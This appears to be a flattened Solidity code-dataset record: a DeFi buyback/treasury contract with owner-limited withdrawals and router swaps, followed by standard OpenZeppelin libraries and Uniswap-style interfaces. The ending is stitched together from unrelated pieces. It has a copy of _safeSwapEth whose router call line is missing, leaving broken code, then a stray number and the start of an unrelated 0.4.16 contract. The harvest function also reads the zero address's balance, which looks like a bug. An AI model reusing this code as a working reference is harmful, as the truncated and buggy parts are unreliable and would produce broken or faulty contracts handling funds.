if(ethAmt > 0) {
uint256[] memory amounts = _safeSwapEth(ethAmt, wNativeToTokenPath, address(this));
uint256 _tokenAmt = amounts[amounts.length - 1];
emit TokenBuyBack(amounts[0], _tokenAmt);
(uint256 amountToken, uint256 amountETH, uint256 liquidity) = _addLiquidityEth(address(token), ethAmt, _tokenAmt, address(this));
emit LiquidityAdded(amountETH, amountToken, liquidity);
}
}
/**
* @notice Withdraw brews as much as maximum 5% of total supply
* @param _amount: amount to withdraw
*/
function withdraw(uint256 _amount) external onlyOwner {
uint256 tokenAmt = token.balanceOf(address(this));
require(_amount > 0 && _amount <= tokenAmt, "Invalid Amount");
if(block.timestamp.sub(startTime) > period.mul(TIME_UNIT)) {
startTime = block.timestamp;
sumWithdrawals = 0;
}
uint256 limit = withdrawalLimit.mul(token.totalSupply()).div(10000);
require(sumWithdrawals.add(_amount) <= limit, "exceed maximum withdrawal limit for 30 days");
token.safeTransfer(msg.sender, _amount);
emit Withdrawn(_amount);
}
/**
* @notice Withdraw brews as much as maximum 20% of lp supply
* @param _amount: liquidity amount to withdraw
*/
function withdrawLiquidity(uint256 _amount) external onlyOwner {
uint256 tokenAmt = IERC20(pair).balanceOf(address(this));
require(_amount > 0 && _amount <= tokenAmt, "Invalid Amount");
if(block.timestamp.sub(startTime) > period.mul(TIME_UNIT)) {
startTime = block.timestamp;
sumLiquidityWithdrawals = 0;
}
uint256 limit = liquidityWithdrawalLimit.mul(IERC20(pair).totalSupply()).div(10000);
require(sumLiquidityWithdrawals.add(_amount) <= limit, "exceed maximum LP withdrawal limit for 30 days");
IERC20(pair).safeTransfer(msg.sender, _amount);
emit LiquidityWithdrawn(_amount);
}
/**
* @notice Withdraw tokens
* @dev Needs to be for emergency.
*/
function emergencyWithdraw() external onlyOwner {
uint256 tokenAmt = token.balanceOf(address(this));
if(tokenAmt > 0) {
token.transfer(msg.sender, tokenAmt);
}
tokenAmt = IERC20(pair).balanceOf(address(this));
if(tokenAmt > 0) {
IERC20(pair).transfer(msg.sender, tokenAmt);
}
uint256 ethAmt = address(this).balance;
if(ethAmt > 0) {
payable(msg.sender).transfer(ethAmt);
}
}
/**
* @notice Harvest reflection for token
*/
function harvest() external onlyOwner {
if(dividendToken == address(0x0)) {
uint256 ethAmt = address(dividendToken).balance;
if(ethAmt > 0) {
payable(msg.sender).transfer(ethAmt);
}
} else {
uint256 tokenAmt = IERC20(dividendToken).balanceOf(address(this));
if(tokenAmt > 0) {
IERC20(dividendToken).transfer(msg.sender, tokenAmt);
}
}
}
/**
* @notice Set duration for withdraw limit
* @param _period: duration
*/
function setWithdrawalLimitPeriod(uint256 _period) external onlyOwner {
require(_period >= 10, "small period");
period = _period;
emit PeriodUpdated(_period);
}
/**
* @notice Set liquidity withdraw limit
* @param _percent: percentage of LP supply in point
*/
function setLiquidityWithdrawalLimit(uint256 _percent) external onlyOwner {
require(_percent < 10000, "Invalid percentage");
liquidityWithdrawalLimit = _percent;
emit LiquidityWithdrawLimitUpdated(_percent);
}
/**
* @notice Set withdraw limit
* @param _percent: percentage of total supply in point
*/
function setWithdrawalLimit(uint256 _percent) external onlyOwner {
require(_percent < 10000, "Invalid percentage");
withdrawalLimit = _percent;
emit WithdrawLimitUpdated(_percent);
}
/**
* @notice Set buyback amount
* @param _percent: percentage in point
*/
function setBuybackRate(uint256 _percent) external onlyOwner {
require(_percent < 10000, "Invalid percentage");
buybackRate = _percent;
emit BuybackRateUpdated(_percent);
}
/**
* @notice Set addliquidy amount
* @param _percent: percentage in point
*/
function setAddLiquidityRate(uint256 _percent) external onlyOwner {
require(_percent < 10000, "Invalid percentage");
addLiquidityRate = _percent;
emit AddLiquidityRateUpdated(_percent);
}
function setServiceInfo(address _wallet, uint256 _fee) external {
require(msg.sender == feeWallet, "Invalid setter");
require(_wallet != feeWallet && _wallet != address(0x0), "Invalid new wallet");
require(_fee < 500, "invalid performance fee");
feeWallet = _wallet;
performanceFee = _fee;
performanceLpFee = _fee.mul(2);
emit ServiceInfoUpdated(_wallet, performanceFee, performanceLpFee);
}
/**
* @notice Set buyback wallet of farm contract
* @param _uniRouter: dex router address
* @param _slipPage: slip page for swap
* @param _path: bnb-brews path
*/
function setSwapSettings(address _uniRouter, uint256 _slipPage, address[] memory _path) external onlyOwner {
require(_slipPage < 1000, "Invalid percentage");
uniRouterAddress = _uniRouter;
slippageFactor = _slipPage;
wNativeToTokenPath = _path;
emit SetSwapConfig(_uniRouter, _slipPage, _path);
}
/**
* @notice set buyback wallet of farm contract
* @param _farm: farm contract address
* @param _addr: buyback wallet address
*/
function setFarmServiceInfo(address _farm, address _addr) external onlyOwner {
require(_farm != address(0x0) && _addr != address(0x0), "Invalid Address");
IFarm(_farm).setBuyBackWallet(_addr);
emit TransferBuyBackWallet(_farm, _addr);
}
/**
* @notice set buyback wallet of staking contract
* @param _staking: staking contract address
* @param _addr: buyback wallet address
*/
function setStakingServiceInfo(address _staking, address _addr) external onlyOwner {
require(_staking != address(0x0) && _addr != address(0x0), "Invalid Address");
uint256 _fee = IStaking(_staking).performanceFee();
IStaking(_staking).setServiceInfo(_addr, _fee);
emit TransferBuyBackWallet(_staking, _addr);
}
/**
* @notice It allows the admin to recover wrong tokens sent to the contract
* @param _token: the address of the token to withdraw
* @dev This function is only callable by admin.
*/
function recoverWrongTokens(address _token) external onlyOwner {
require(_token != address(token) && _token != dividendToken && _token != pair, "Cannot be token & dividend token, pair");
if(_token == address(0x0)) {
uint256 _tokenAmount = address(this).balance;
payable(msg.sender).transfer(_tokenAmount);
} else {
uint256 _tokenAmount = IERC20(_token).balanceOf(address(this));
IERC20(_token).safeTransfer(msg.sender, _tokenAmount);
}
}
/************************
** Internal Methods
*************************/
/*
* @notice get token from ETH via swap.
*/
function _safeSwapEth(
uint256 _amountIn,
address[] memory _path,
address _to
) internal returns (uint256[] memory amounts) {
amounts = IUniRouter02(uniRouterAddress).getAmountsOut(_amountIn, _path);
uint256 amountOut = amounts[amounts.length.sub(1)];
IUniRouter02(uniRouterAddress).swapExactETHForTokensSupportingFeeOnTransferTokens{value: _amountIn}(
amountOut.mul(slippageFactor).div(1000),
_path,
_to,
block.timestamp.add(600)
);
}
/*
* @notice Add liquidity for token-BNB pair.
*/
function _addLiquidityEth(
address _token,
uint256 _ethAmt,
uint256 _tokenAmt,
address _to
) internal returns(uint256 amountToken, uint256 amountETH, uint256 liquidity) {
IERC20(_token).safeIncreaseAllowance(uniRouterAddress, _tokenAmt);
(amountToken, amountETH, liquidity) = IUniRouter02(uniRouterAddress).addLiquidityETH{value: _ethAmt}(
address(_token),
_tokenAmt,
0,
0,
_to,
block.timestamp.add(600)
);
IERC20(_token).safeApprove(uniRouterAddress, uint256(0));
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniV2Factory {
function getPair(address tokenA, address tokenB)
external
view
returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IUniRouter01.sol";
interface IUniRouter02 is IUniRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
|
Internal Methods/ get token from ETH via swap./
|
function _safeSwapEth(
uint256 _amountIn,
address[] memory _path,
address _to
) internal returns (uint256[] memory amounts) {
amounts = IUniRouter02(uniRouterAddress).getAmountsOut(_amountIn, _path);
uint256 amountOut = amounts[amounts.length.sub(1)];
amountOut.mul(slippageFactor).div(1000),
_path,
_to,
block.timestamp.add(600)
);
}
| 14,846,748
|
pragma solidity ^0.4.16;
/*-------------------------------------------------------------------------*/
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
